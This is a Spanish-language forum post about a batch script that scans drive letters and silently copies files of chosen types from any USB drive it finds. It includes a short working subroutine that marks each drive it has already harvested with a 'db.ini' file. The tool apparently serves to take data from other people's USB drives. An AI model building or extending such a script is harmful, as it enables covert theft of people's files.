Por ejemplo...el hace el Escaneo de las unidades C....Z y empieza a copiar, luego por ejemplo tenemos una USB en la unidad H, el pasa y al encontrarla hace lo debido de copiar los datos, despues sigue con las demas unidades pero como ya no hay mas pues vuelve a empezar el ciclo y vuelve a recopiar todo lo de la unidad H y asi sucesivamente, por eso es que no se las deja expulsar porque sigue siendo usada......en eso ya habia pensado y es por eso que agregue algo de comprobacion en la siguiente parte...
:usb
set letra=%1
if exist "%letra%:\db.ini" goto :eof
for /r %letra%: %%t in (%filetypes%) do (copy "%%t" %myfolder%)
echo USB >%letra%:\db.ini
goto :eof
asi cuando vaya a esa unidad simplemente la ignora porque ya fue analizada y se libra dle problema de que esta siendo usada, aunque en alguna proxima ocasion podria ser cambiado el contenido de dicha unidad y el programa no podria funcionar por lo que habria que hacer ya un chekeo por fecha de la creacion del archivo de comprobacion, pero no debe ser muy dificil...
aparte otra cosas en la que deben mejorar el codigo es en la comprobacion de las unidades USB...
Miren el codigo de la V2...
Código
Cualquier duda pueden postearla que con gusto les ayudare..
Saludos.